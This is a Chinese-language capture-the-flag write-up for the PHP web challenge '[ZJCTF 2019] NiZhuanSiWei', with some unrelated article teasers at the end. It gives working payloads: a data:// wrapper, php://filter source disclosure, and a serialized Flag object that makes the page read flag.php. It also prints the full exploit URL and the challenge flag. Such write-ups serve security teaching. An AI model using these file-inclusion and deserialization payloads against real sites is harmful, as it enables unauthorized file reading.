首页 > 其他分享 >[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

时间:2023-08-07 14:23:33浏览次数:44  
标签:ZJCTF text base64 echo NiZhuanSiWei 2019 useless file php

[ZJCTF 2019]NiZhuanSiWei

题目来源:nssctf

题目类型:web

涉及考点:PHP反序列化、PHP伪协议

1. 还是日常代码审计

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  • 首先需要读取$text文件,使其满足强比较,内容为welcome to the zjctf
  • 其次是$file正则过滤了flag,猜测可能存在一个flag.php,但下面有提示用useless.php,一会构造payload考虑
  • 最后是对$password做反序列化,具体如何构造序列化字符串还没思路

2. 依次绕过构造payload

  • 对于$text,我们可以利用data伪协议来传入,具体构造如下:
$text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
//这里是把welcome to the zjctf做了base64编码

data伪协议:

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:

data://text/plain;base64,xxxx(base64编码后的数据)
  • 对于$file,我们需要利用伪协议读取useless.php的内容,因此构造如下:
$file=php://filter/read=convert.base64-encode/resource=useless.php

有关php伪协议详见:[ACTF2020 新生赛]Include

我们先把前两个参数传入看看:

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到useless.php的源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

3. 构造序列化字符串

根据上面得到的源码,我们可以在这里构造$file=flag.php,因此payload如下:

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo urlencode(serialize($a));
?>  

得到:

$password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D  

这里做不做url编码都行

最终我们构造的payload如下:

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

需要注意,这里我们令$file=useless.php,是为了使useless.php被包含,而上一步使用php://filter是为了获取useless.php的源码

最终在源代码里看到flag:

NSSCTF{948fa8e1-81dc-4a59-a135-4f6db8c9b0da}

日期:2023.8.7

作者:y0Zero

标签:ZJCTF,text,base64,echo,NiZhuanSiWei,2019,useless,file,php
From: https://www.cnblogs.com/bkofyZ/p/17611299.html

相关文章

  • [十二省联考 2019] 字符串问题
    题目描述现有一个字符串\(S\)。Tiffany将从中划出\(n_a\)个子串作为\(A\)类串,第\(i\)个(\(1\leqslanti\leqslantn_a\))为\(A_i=S(la_i,ra_i)\)。类似地,Yazid将划出\(n_b\)个子串作为\(B\)类串,第\(i\)个(\(1\leqslanti\leqslantn_b\))为\(B_i=S(lb_i,......
  • IMOSL2019 C3~C9
    C3有一个很妙的做法。考虑把整个过程倒过来看。一开始,有一个指针在位置\(0\),所有硬币都是T。每次,可以把指针右移一位,使得移动后的指针指向一个T,之后要把这个T变为H可以把指针左移一位,使得移动后的指针指向一个H,之后要把这个H变为T考虑左移/右移操作形成的连续段......
  • 漏洞复现报告:CVE-2019-2890 反序列化漏洞
    OracleWebLogicServer漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称OracleWebLogicServer反序列化漏洞发布时间2019年10月16日漏洞编号CVE-2019-2890威胁类型反序列化漏洞危害级别高危影响版本OracleWebLogicServer10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0......
  • 7DGroup性能&测试开发文章持续更新(2019/11/20)
    性能闲谈系列:浅谈window桌面GUI技术及图像渲染性能测试实践杂谈:性能测试的范围到底有多大?戏说CPU使用率-驳《CPU使用率度量指标是扯淡!》译文标题对性能测试评估分析优化市场的反思泛谈系统级跟踪和应用级跟踪性能测试分析优化该有的范围期待996ICU的条款尽早加入到开源协议中!性能分......
  • [安洵杯 2019]game
    [安洵杯2019]game将文件放入IDA中打开,查看main()函数发现读取用户的输入,并存入v8这个变量当中,下面有两个关键函数check1()和check3()使用到了该变量,我们首先分析check1()发现有大量的循环,根据以往的经验,这是一种混淆手段,此题的程序流程不算复杂,可以跟着流程一步步分析经......
  • 亚洲唯一:瀚思科技入选2019 Gartner SIEM 领域 Peer Insights,其他第一象限的有splunk和
    亚洲唯一:瀚思科技入选GartnerSIEM领域PeerInsights  网络安全技术与产业,正在由传统的合规驱动,走向合规与需求双轮驱动。关注用户需求、倾听用户声音,根据实际情况打造优质的安全产品和服务,是任何一家优秀网络安全提供商的立命之本。——安全牛主编李少鹏近日,瀚思科技(HanSight......
  • SMU Summer 2023 Contest Round 9(2019 山东省大学生程序设计竞赛)
    2019山东省大学生程序设计竞赛A.Calandar纯模拟吧(感觉我做麻烦了(?),就是如果问的是未来的日期,就用相隔天数取模后加上这天的星期,如果问的是曾经的,就用这天的星期减去相隔天数的取模后的数,因为是减法,记得加模数#include<bits/stdc++.h>#defineintlonglong#defi......
  • [刷题笔记] Luogu P5662 [CSP-J2019] 纪念品
    ProblemDescription类似于炒股票,有买进有卖出,当天可以既买进又卖出无限次,现在有若干件物品,每件物品都有一个价格,每天每件物品的价格不一致,你初始有\(m\)元钱,想要通过若干次购进卖出的操作,使得\(T\)天后你手里的钱最多。要求:\(T\)天结束你手中的股票必须全部售出。Solution乍看......
  • CTFer成长记录——CTF之Web专题·极客大挑战 2019—http
    一、题目链接https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Http二、解法步骤  本题名叫http,那么应该与http请求包里面的东西有关。   主页是一个招新页面,没有什么特别的,看看源代码:  在右侧的最下面发现了另一个页面,访问看看......
  • 2019 山东省大学生程序设计竞赛
    A.Calandar#include<bits/stdc++.h>usingnamespacestd;#defineintlonglong#definempmake_pairtypedefpair<int,int>pii;typedefpair<string,int>psi;intres=LLONG_MIN;map<string,int>cc;map<int,string>tt;vo......